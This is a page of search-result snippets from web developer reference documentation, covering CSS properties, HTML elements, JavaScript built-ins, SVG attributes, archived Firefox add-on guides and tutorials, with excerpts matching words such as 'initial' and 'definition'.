padding-left - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-left: 0.5em; padding-left: 0; padding-left: 2cm; /* <percentage> value */ padding-left: 10%; /* global values */ padding-left: inherit; padding-left: initial; padding-left: unset; the padding-left property is specified as a single value chosen from the list below.
... formal definition initial value0applies toall elements, except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
...agesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-left' in that specification.
...And 3 more matches
padding-right - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-right: 0.5em; padding-right: 0; padding-right: 2cm; /* <percentage> value */ padding-right: 10%; /* global values */ padding-right: inherit; padding-right: initial; padding-right: unset; the padding-right property is specified as a single value chosen from the list below.
... formal definition initial value0applies toall elements, except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
...srefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-right' in that specification.
...And 3 more matches
padding-top - CSS: Cascading Style Sheets
syntax /* <length> values */ padding-top: 0.5em; padding-top: 0; padding-top: 2cm; /* <percentage> value */ padding-top: 10%; /* global values */ padding-top: inherit; padding-top: initial; padding-top: unset; the padding-top property is specified as a single value chosen from the list below.
... formal definition initial value0applies toall elements, except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
...entagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-top' in that specification.
...And 3 more matches
padding - CSS: Cascading Style Sheets
WebCSSpadding
nt properties this property is a shorthand for the following css properties: padding-bottom padding-left padding-right padding-top syntax /* apply to all four sides */ padding: 1em; /* vertical | horizontal */ padding: 5% 10%; /* top | horizontal | bottom */ padding: 1em 2em 2em; /* top | right | bottom | left */ padding: 5px 1em 0 2em; /* global values */ padding: inherit; padding: initial; padding: unset; the padding property may be specified using one, two, three, or four values.
... formal definition initial valueas each of the properties of the shorthand:padding-bottom: 0padding-left: 0padding-right: 0padding-top: 0applies toall elements, except table-row-group, table-header-group, table-footer-group, table-row, table-column-group and table-column.
...% padding */ /* bottom: 20px padding */ padding: 1em 3px 30px 5px; /* top: 1em padding */ /* right: 3px padding */ /* bottom: 30px padding */ /* left: 5px padding */ specifications specification status comment css basic box modelthe definition of 'padding' in that specification.
...And 3 more matches
page-break-before - CSS: Cascading Style Sheets
/* keyword values */ page-break-before: auto; page-break-before: always; page-break-before: avoid; page-break-before: left; page-break-before: right; page-break-before: recto; page-break-before: verso; /* global values */ page-break-before: inherit; page-break-before: initial; page-break-before: unset; syntax values auto initial value.
...a subset of values should be aliased as follows: page-break-before break-before auto auto left left right right avoid avoid always page formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element.
...e table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples avoid a page break before the dic /* avoid page break before the div */ div.note { page-break-before: avoid; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification.
...And 3 more matches
text-indent - CSS: Cascading Style Sheets
syntax /* <length> values */ text-indent: 3mm; text-indent: 40px; /* <percentage> value relative to the containing block width */ text-indent: 15%; /* keyword values */ text-indent: 5em each-line; text-indent: 5em hanging; text-indent: 5em hanging each-line; /* global values */ text-indent: inherit; text-indent: initial; text-indent: unset; values <length> indentation is specified as an absolute <length>.
... formal definition initial value0applies toblock containersinheritedyespercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length, plus any keywords as specifiedanimation typea length, percentage or calc(); formal syntax <length-percentage> && hanging?
... nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; background: plum; } result specifications specification status comment css text module level 3the definition of 'text-indent' in that specification.
...And 3 more matches
transform-box - CSS: Cascading Style Sheets
/* keyword values */ transform-box: content-box; transform-box: border-box; transform-box: fill-box; transform-box: stroke-box; transform-box: view-box; /* global values */ transform-box: inherit; transform-box: initial; transform-box: unset; syntax the transform-box property is specified as one of the keyword values listed below.
... formal definition initial valueview-boxapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax content-box | border-box | fill-box | stroke-box | view-box examples svg transform-origin scoping in this example we have an svg: <svg id="svg" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50"> <g> <circle id="center" fill="red" r="1" transform="tran...
...slate(25 25)" /> <circle id="boxcenter" fill="blue" r=".5" transform="translate(15 15)" /> <rect id="box" x="10" y="10" width="10" height="10" rx="1" ry="1" stroke="black" fill="none" /> </g> </svg> in the css we have an animation that uses a transform to rotate the rectangle infinitely.
...And 3 more matches
unicode-bidi - CSS: Cascading Style Sheets
note: this property is intended for document type definition (dtd) designers.
... /* keyword values */ unicode-bidi: normal; unicode-bidi: embed; unicode-bidi: isolate; unicode-bidi: bidi-override; unicode-bidi: isolate-override; unicode-bidi: plaintext; /* global values */ unicode-bidi: inherit; unicode-bidi: initial; unicode-bidi: unset; syntax values normal the element does not offer an additional level of embedding with respect to the bidirectional algorithm.
... formal definition initial valuenormalapplies toall elements, though some values have no effect on non-inline elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | embed | isolate | bidi-override | isolate-override | plaintext examples css .bible-quote { direction: rtl; unicode-bidi: embed; } html <div class="bible-quote"> a line of text </div> <div> another ...
...And 3 more matches
widows - CSS: Cascading Style Sheets
WebCSSwidows
/* <integer> values */ widows: 2; widows: 3; /* global values */ widows: inherit; widows: initial; widows: unset; in typography, a widow is the last line of a paragraph that appears alone at the top of a page.
... formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples controlling column widows html <div> <p>this is the first paragraph containing some text.</p> <p>this is the second paragraph containing some more text than the first one.
...it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
...And 3 more matches
word-spacing - CSS: Cascading Style Sheets
syntax /* keyword value */ word-spacing: normal; /* <length> values */ word-spacing: 3px; word-spacing: 0.3em; /* <percentage> values */ word-spacing: 50%; word-spacing: 200%; /* global values */ word-spacing: inherit; word-spacing: initial; word-spacing: unset; values normal the normal inter-word spacing, as defined by the current font and/or the browser.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition initial valuenormalapplies toall elements.
...esrefer to the width of the affected glyphcomputed valuean optimum, minimum, and maximum value, each consisting of either an absolute length, a percentage, or the keyword normalanimation typea length formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css text module level 3the definition of 'word-spacing' in that specification.
...And 3 more matches
Cross-browser audio basics - Developer guides
audio html attributes we can specify a number of attributes with the audio tag to further determine the way audio is initialized.
... preload the preload attribute allows you to specify a preference for how the browser preloads the audio, in other words, which part of the file it downloads when the <audio> element is initialized, and before the play button is pressed.
...this can be useful because the initial value for duration is nan (not a number), which you probably don't want to display to your users.
...And 3 more matches
Block formatting context - Developer guides
using overflow: auto setting overflow: auto or set other values than the initial value of overflow: visible created a new bfc containing the float.
...collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { background: blue; } .red-outer { overflow: hidden; background: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification.
... css level 2 (revision 1)the definition of 'block formatting context' in that specification.
...And 3 more matches
<dd>: The Description Details element - HTML: Hypertext Markup Language
WebHTMLElementdd
the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).
... implicit aria role definition permitted aria roles no role permitted dom interface htmlelement attributes this element's attributes include the global attributes.
... nowrap if the value of this attribute is set to yes, the definition text will not wrap.
...And 3 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
when specified in the html, this is the initial value, and from then on it can be altered or retrieved at any time using javascript to access the respective htmlinputelement object's value property.
... if incremental is not specified, the search event is only sent when the user explicitly initiates a search (such as by pressing the enter or return key while editing the field).
...o type=text with no list attribute: combobox, searchbox, spinbutton type=color|date|datetime|datetime-local|email|file|hidden|month|number|password|range|reset|search|submit|tel|url|week or text with list attribute: no role permitted dom interface htmlinputelement specifications specification status comment html living standardthe definition of '<input>' in that specification.
...And 3 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
56 <abbr>: the abbreviation element acronym, definitions, element, html, html text-level semantics, html:flow content, html:palpable content, html:phrasing content, reference, web, abbr, abbreviation, semantics the html abbreviation element (<abbr>) represents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the abbreviation.
... 87 <dd>: the description details element definition, description details, element, html, html grouping content, reference, web, dd, description list, details the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).
... 90 <dfn>: the definition element definition, definitions, element, html, html text-level semantics, reference, semantic markup, web, dfn the html definition element (<dfn>) is used to indicate the term being defined within the context of a definition phrase or sentence.
...And 3 more matches
HTTP Index - HTTP
WebHTTPIndex
2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... 89 csp: navigate-to csp, content-security-policy, directive, http, navigation, reference, security the http content-security-policy (csp) navigate-to directive restricts the urls to which a document can initiate navigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... this is an enforcement on what navigations this document initiates not on what this document is allowed to navigate to.
...And 3 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
/ 10 + '0x10'; // 16 a special value called nan (short for "not a number") is returned if the string is non-numeric: parseint('hello', 10); // nan nan is toxic: if you provide it as an operand to any mathematical operation, the result will also be nan: nan + 5; // nan you can test for nan using the built-in isnan() function: isnan(nan); // true javascript also has the special values infinity and -infinity: 1 / 0; // infinity -1 / 0; // -infinity you can test for infinity, -infinity and nan values using the built-in isfinite() function: isfinite(1 / 0); // false isfinite(-infinity); // false isfinite(nan); // false the parseint() and parsefloat() functions parse a string until they reach a character that isn't valid for the specified number format, then return the number pars...
...he string and access information about the string: 'hello'.charat(0); // "h" 'hello, world'.replace('world', 'mars'); // "hello, mars" 'hello'.touppercase(); // "hello" other types javascript distinguishes between null, which is a value that indicates a deliberate non-value (and is only accessible through the null keyword), and undefined, which is a value of type undefined that indicates an uninitialized variable — that is, a value hasn't even been assigned yet.
...the first is good for basic looping; the second for loops where you wish to ensure that the body of the loop is executed at least once: while (true) { // an infinite loop!
...And 3 more matches
Boolean - JavaScript
if the value is omitted or is 0, -0, null, false, nan, undefined, or the empty string (""), the object has an initial value of false.
... all other values, including any object, an empty array ([]), or the string "false", create an object with an initial value of true.
... if you specify any object, including a boolean object whose value is false, as the initial value of a boolean object, the new boolean object has a value of true.
...And 3 more matches
Math.atan2() - JavaScript
math.atan2(±y, -infinity); // ±pi for finite y > 0.
... math.atan2(±y, +infinity); // ±0 for finite y > 0.
... math.atan2(±infinity, x); // ±pi/2 for finite x.
...And 3 more matches
Number - JavaScript
numbers beyond that are replaced with the special number constant infinity.
... number.negative_infinity special value representing negative infinity.
... number.positive_infinity special value representing infinity.
...And 3 more matches
WebAssembly.Memory() constructor - JavaScript
syntax new webassembly.memory(memorydescriptor); parameters memorydescriptor an object that can contain the following members: initial the initial size of the webassembly memory, in units of webassembly pages.
... if maximum is specified and is smaller than initial, a rangeerror is thrown.
...the following example creates a new webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib).
...And 3 more matches
Strict mode - JavaScript
the entire contents of javascript modules are automatically in strict mode, with no statement needed to initiate it.
...any assignment that silently fails in normal code (assignment to a non-writable global or property, assignment to a getter-only property, assignment to a new property on a non-extensible object) will throw in strict mode: 'use strict'; // assignment to a non-writable global var undefined = 5; // throws a typeerror var infinity = 5; // throws a typeerror // assignment to a non-writable property var obj1 = {}; object.defineproperty(obj1, 'x', { value: 42, writable: false }); obj1.x = 9; // throws a typeerror // assignment to a getter-only property var obj2 = { get x() { return 17; } }; obj2.x = 5; // throws a typeerror // assignment to a new property on a non-extensible object var fixed = {}; object.preventextensions...
... (function() { 'use strict'; false.true = ''; // typeerror (14).sailing = 'home'; // typeerror 'with'.you = 'far away'; // typeerror })(); simplifying variable uses strict mode simplifies how variable names map to particular variable definitions in the code.
...And 3 more matches
<mo> - MathML
WebMathMLElementmo
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال maxsize if stretchy is true, this attribute specifies the maximum size of the operator.
... allowed values are: infinity an arbitrary length minsize if stretchy is true, this attribute specifies the minimum size of the operator.
... allowed values are: infinity an arbitrary length movablelimits specifies whether attached under- and overscripts move to sub- and superscript positions when displaystyle is false.
...And 3 more matches
Progressive loading - Progressive web apps (PWAs)
a bundle.js file can be many megabytes, and a single style.css bundle can contain everything from basic css structure definitions to all the possible styles of every version of the site: mobile, tablet, desktop, print only, etc.
...during the few seconds between initial website access and completion of loading, the user sees a blank page, which is a bad experience.
...when you include <img> elements in your html, then every referenced image will be fetched and downloaded during initial website access.
...And 3 more matches
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value specifies the length of the simple durat...
... (for animation elements the attribute will be ignored if media is specified.) indefinite this value specifies the simple duration as indefinite.
... note: the interpolation will not work if the simple duration is indefinite (although this may still be useful for <set> elements).
...And 3 more matches
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
indefinite the end of the animation will be determined by an svganimationelement.endelement() method call.
...dth="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="endbutton.click" dur="8s" repeatcount="indefinite" fill="freeze" /> </rect> <!-- trigger --> <rect id="endbutton" style="cursor:pointer;" x="19.5" y="62.5" rx="5" height="25" width="80" fill="#efefef" stroke="black" stroke-width="1" /> <text x="60" y="80" text-anchor="middle" style="pointer-events:none;">click me.</text> <!-- grid --> <text x="10" y="20" text-anchor="middle">0s</text> ...
...width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="accesskey(e)" dur="8s" repeatcount="indefinite" fill="freeze" /> </rect> <!-- trigger --> <text x="60" y="80" text-anchor="middle" style="pointer-events:none;">hit the "s" key</text> <!-- grid --> <text x="10" y="20" text-anchor="middle">0s</text> <line x1="10" y1="25" x2="10" y2="55" stroke="grey" stroke-width=".5" /> <text x="35" y="20" text-anchor="middle">2s</text> <line x1="35" y1="25" x2="35"...
...And 3 more matches
fill-rule - SVG: Scalable Vector Graphics
ath>, <polygon>, <polyline>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- default value for fill-rule --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity.
...21,90 198,35 102,35 179,90"/> </svg> usage notes value nonzero | evenodd default value nonzero animatable yes the fill-rule attribute provides two options for how the inside (that is, the area to be filled) of a shape is determined: nonzero the value nonzero determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray.
...ero fill rule on a shape inside a shape with the path segment moving in the opposite direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="nonzero" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> evenodd the value evenodd determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction and counting the number of path segments from the given shape that the ray crosses.
...And 3 more matches
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
specifications specification status comment svg animations level 2the definition of 'transform' in that specification.
... editor's draft definition for animations scalable vector graphics (svg) 2the definition of 'fill' in that specification.
... candidate recommendation definition for shapes and texts.
...And 3 more matches
gradientUnits - SVG: Scalable Vector Graphics
when the object's bounding box is not square, the gradient normal which is initially perpendicular to the gradient vector within object bounding box space may render non-perpendicular relative to the gradient vector in user space.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'gradientunits for <radialgradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'gradientunits for <lineargradient>' in that specification.
...And 3 more matches
overflow - SVG: Scalable Vector Graphics
although the initial value for overflow is auto, it is overwritten in the user agent style sheet for the <svg> element when it is not the root element of a stand-alone document, the <pattern> element, and the <marker> element to be hidden by default.
... specifications specification status comment css level 2 (revision 1)the definition of 'overflow' in that specification.
... recommendation definition in css scalable vector graphics (svg) 2the definition of 'overflow' in that specification.
...And 3 more matches
patternTransform - SVG: Scalable Vector Graphics
the patterntransform attribute defines a list of transform definitions that are applied to a pattern tile.
...dth=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
... value <transform-list> default value identity transform animatable yes transform functions to know more about the definition of transform functions, see the transform attribute definition.
...And 3 more matches
spreadMethod - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> context notes value pad | reflect | repeat initial value pad animatable yes pad this value indicates that the final color of the gradient fills the shape beyond the gradient's edges.
...rect fill="url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'spreadmethod for <radialgradient>' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 2the definition of 'spreadmethod for <lineargradient>' in that specification.
...And 3 more matches
transform - SVG: Scalable Vector Graphics
the transform attribute defines a list of transform definitions that are applied to an element and the element's children.
... example html,body,svg { height:100% } <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <rect x="-3" y="-3" width="6" height="6" /> <rect x="-3" y="-3" width="6" height="6" fill="red" transform="skewy(30)" /> </svg> specification specification status comment css transforms level 2the definition of 'transform' in that specification.
... editor's draft css transforms level 1the definition of 'transform' in that specification.
...And 3 more matches
writing-mode - SVG: Scalable Vector Graphics
the writing-mode attribute specifies whether the initial inline-progression-direction for a <text> element shall be left-to-right, right-to-left, or top-to-bottom.
... specifications specification status comment css writing modes module level 3the definition of 'writing-mode' in that specification.
... proposed recommendation definition in css writing modes 3 scalable vector graphics (svg) 2the definition of 'writing-mode' in that specification.
...And 3 more matches
z - SVG: Scalable Vector Graphics
WebSVGAttributez
the z attribute defines the location along the z-axis for a light source in the coordinate system established by the primitiveunits attribute on the <filter> element, assuming that, in the initial coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
... value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'z for <fepointlight>' in that specification.
... working draft no change filter effects module level 1the definition of 'z for <fespotlight>' in that specification.
...And 3 more matches
places/bookmarks - Archive of obsolete content
: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial input // item as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several ...
... // `inputitems` matches the initial input as an array, // so `inputitems[0] === mybookmark` }); // saving multiple bookmarks, as duck-types in this case let bookmarks = [ { title: "mozilla", url: "http://mozilla.org", type: "bookmark" }, { title: "firefox", url: "http://firefox.com", type: "bookmark" }, { title: "twitter", url: "http://twitter.com", type: "bookmark" } ]; save(bookmarks).on("data", function (item, inpu...
...the initial instance of the item that was used for the save request.
...And 2 more matches
ui/sidebar - Archive of obsolete content
the sidebar script may not be initialized yet, so you can't reliably send messages to the sidebar script right away: however, you can start listening to messages from the script.
... here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiates communication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file sends a ping message to main.js using port.emit() as soon as it loads, and adds a listener to the pong message.
...at this point the sidebar script is initialized, so you can send messages to the sidebar script and be confident that they will not be lost.
...And 2 more matches
jpm - Archive of obsolete content
command reference jpm supports the following commands: jpm init create a skeleton add-on as a starting point for your add-on.
... jpm init this command initializes a new add-on from scratch.
... create a new directory, change into it, and run jpm init.
...And 2 more matches
Getting Started (jpm) - Archive of obsolete content
the add-on sdk includes a command-line tool that you use to initialize, run, test, and package add-ons.
... initializing an empty add-on in the command prompt, create a new directory.
... navigate to it, type jpm init, and hit enter: mkdir my-addon cd my-addon jpm init you'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file.
...And 2 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
the open source definition states what conditions the oss license must satisfy.
...this can be briefly answered by the open source definition, which was determined by the open source initiative (osi).
... these conditions will vary from one license to the next, but the open source definition stipulates the following minimum conditions: the integrity of the author’s source code must be preserved; no discrimination may be made against individuals or organizations; no discrimination may be made based on field of endeavor; no additional licensing can be required when redistributing; license must not be specific to a product; license must not interfere with other software.
...And 2 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
settimeout("dosomething();", 100); addeventlistener("load", "myaddon.init(); myaddon.onload();", true); setinterval(am_i_a_string_or_function_reference_qmark, 100); that in itself is certainly not elegant, but it may also become a security issue if you pass code that was externally retrieved (or at least contains bits of externally retrieved data): // do not use!
... addeventlistener("load", function() { myaddon.init(); myaddon.onload(); }, true); function doxhr() { //...
... addeventlistener("load", myaddon.init.bind(myaddon), true); settimeout(alert.bind(null, xhr.responsetext), 100); function.bind() returns a new function.
...And 2 more matches
Observer Notifications - Archive of obsolete content
*/ _observerservice : null, /** * initializes this object.
... */ init : function() { this._observerservice = components.classes["@mozilla.org/observer-service;1"].
... */ uninit : function() { this._observerservice.removeobserver( this, "xulschoolhello-test-topic"); }, /** * observes the registered notification topics.
...And 2 more matches
Microsummary topics - Archive of obsolete content
differentiating between user-initiated and microsummary-related requests when firefox updates a microsummary generated by a microsummary generator add-on, it automatically downloads the html content of the page being summarized.
...thus, to differentiate requests initiated manually by users for the purpose of viewing a web page from those initiated automatically by firefox for the purpose of summarizing that page, check for the presence and value of the x-moz request header.
...otherwise, it is a user-initiated request.
...And 2 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
mimetypes (when css files are not applied) the most common css-related issue is that css definitions inside referenced css files are not applied.
... void open (string http_method, string url) void open (string http_method, string url, boolean async, string username, string password) initializes the request for the specified url, using either get or post as the http method.
... to send the request, call the send() method after initialization.
...And 2 more matches
Writing textual data - Archive of obsolete content
in gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverteroutputstream: var charset = "utf-8"; // can be any character encoding name that mozilla supports var os = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); // this assumes that fos is the nsioutputstream you want to write to os.init(fos, charset, 0, 0x0000); os.writestring("umlaute: \u00fc \u00e4\n"); os.writestring("hebrew: \u05d0 \u05d1\n"); // etc.
...the last argument to init specifies that: 0x0000 means that writing unsupported characters throws an exception (with an error code of ns_error_loss_of_significant_data), and no data will be written.
... to instead write a replacement character in such cases, specify the character instead of 0x00: os.init(fos, charset, 0, "?".charcodeat(0)); you can, of course, replace the "?" in that example with any other character.
...And 2 more matches
Tree View Details - Archive of obsolete content
<window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> </window> we use a simple tree here with no data in the treechildren.
... the 'init' function is called when the window is loaded to initialize the tree.
... function init() { document.getelementbyid("elementlist").view = treeview; } the custom tree view will need to implement a number of methods, of which the important ones will be examined individually.
...And 2 more matches
Using the Editor from XUL - Archive of obsolete content
now we set up the editorshell by calling its init() method, telling it what type of editor we want (text or html), pointing it at the webshellwindow to use, and telling it the content node that it lives on: editorshell.init(); editorshell.seteditortype(editortype); editorshell.webshellwindow = window; editorshell.contentwindow = window._content; the webshellwindow (a settable attribute on nsieditorshell) points to the top-level window elem...
...one thing to note about editor initialization is that we pass into the editor's init() method an nsicontent* that corresponds to the root of the content tree that the editor is allowed to work with.
... when initializing the editor from the nseditorshell, we pass null here (which tells the editor that it can edit everything under the <body> of the document).
...And 2 more matches
XML - Archive of obsolete content
xul syntax & rules xul is a standards-based interface definition language.
...it will consist of a lexicon of four terms: memo, to, from, body -- all of which fit together into a syntax represented in most xml circles as: <!element memo (from, to, body)> for developers accustomed to reading and using xml, this definition indicates that the root element "memo" is constituted by a "from" element, then a "to" element, then a "body" element.
...an actual memo using the memoml to represent itself might look like this: <memo> <from>ian oeschger</from> <to>steve rudman</to> <body>i think the first draft of the guide is done!</body> </memo> note how the memo element -- the root element in our brief definition, ordeclaration, above -- surrounds the other three elements.
...And 2 more matches
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
however, before you do so you should make sure that the browser also supports xembed when the plugin is first initialized.
...this would be included in your np_initialize function.
... nperror np_initialize(npnetscapefuncs* nstable, nppluginfuncs* pluginfuncs) { nperror err = nperr_no_error; prbool supportsxembed = pr_false; npntoolkittype toolkit = 0; [ code that copies all of the function tables and does ] [ other standard checks ] /* * make sure that the browser supports functionality we care * about.
...And 2 more matches
Audio for Web games - Game development
many browsers will simply ignore any requests made by your game to automatically play audio; instead playback for audio needs to be started by a user-initiated event, such as a click or tap.
...this is usually mitigated against by loading the audio in advance and priming it on a user-initiated event.
... for more passive audio auto play, for example background music that starts as soon as a game loads, one trick is to detect any user initiated event and start playback then.
...And 2 more matches
Cascade and inheritance - Learn web development
initial sets the property value applied to a selected element to the initial value of that property.
... unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial.
...its value can be any one of the inheritance values (inherit, initial, unset, or revert).
...And 2 more matches
Tips for authoring fast-loading HTML pages - Learn web development
too much time spent querying the last modified time of the referenced files can delay the initial display of the web page, since the browser must check the modification time for each of these files, before rendering the page.
... more information: http conditional get for rss hackers http 304: not modified http etag on wikipedia caching in http optimally order the components of the page download page content first, along with any css or javascript that may be required for its initial display, so that the user gets the quickest apparent response during the page loading.
... any dynamic features that require the page to complete loading before being used, should be initially disabled, and then only enabled after the page has loaded.
...And 2 more matches
Silly story generator - Learn web development
initial variables and functions: in the raw text file, copy all of the code underneath the heading "1.
... complete variable and function definitions" and paste it into the top of the main.js file.
...event listener and partial function definition" and paste it into the bottom of your main.js file.
...And 2 more matches
Inheritance in JavaScript - Learn web development
say we wanted to create a teacher class, like the one we described in our initial object-oriented definition, which inherits all the members from person, but also includes: a new property, subject — this will contain the subject the teacher teaches.
... unlike old-school constructor functions where the new operator does the initialization of this to a newly-allocated object, this isn't automatically initialized for a class defined by the extends keyword, i.e the sub-classes.
...so for teacher, the this initialization is done by the person constructor.
...And 2 more matches
Getting started with React - Learn web development
also, see the following for more information: "what is npm" on nodejs.org "introducing npx" on the npm blog the create-react-app documentation initializing your app create-react-app takes one argument: the name you'd like to give your app.
... initializes the directory as a git repository, if you have git installed on your computer.
...its initial file structure looks like this: moz-todo-react ├── readme.md ├── node_modules ├── package.json ├── package-lock.json ├── .gitignore ├── public │ ├── favicon.ico │ ├── index.html │ └── manifest.json └── src ├── app.css ├── app.js ├── app.test.js ├── index.css ├── index.js ...
...And 2 more matches
Getting started with Svelte - Learn web development
initially it's just an empty html5 page that loads the css files and js bundles generated by svelte.
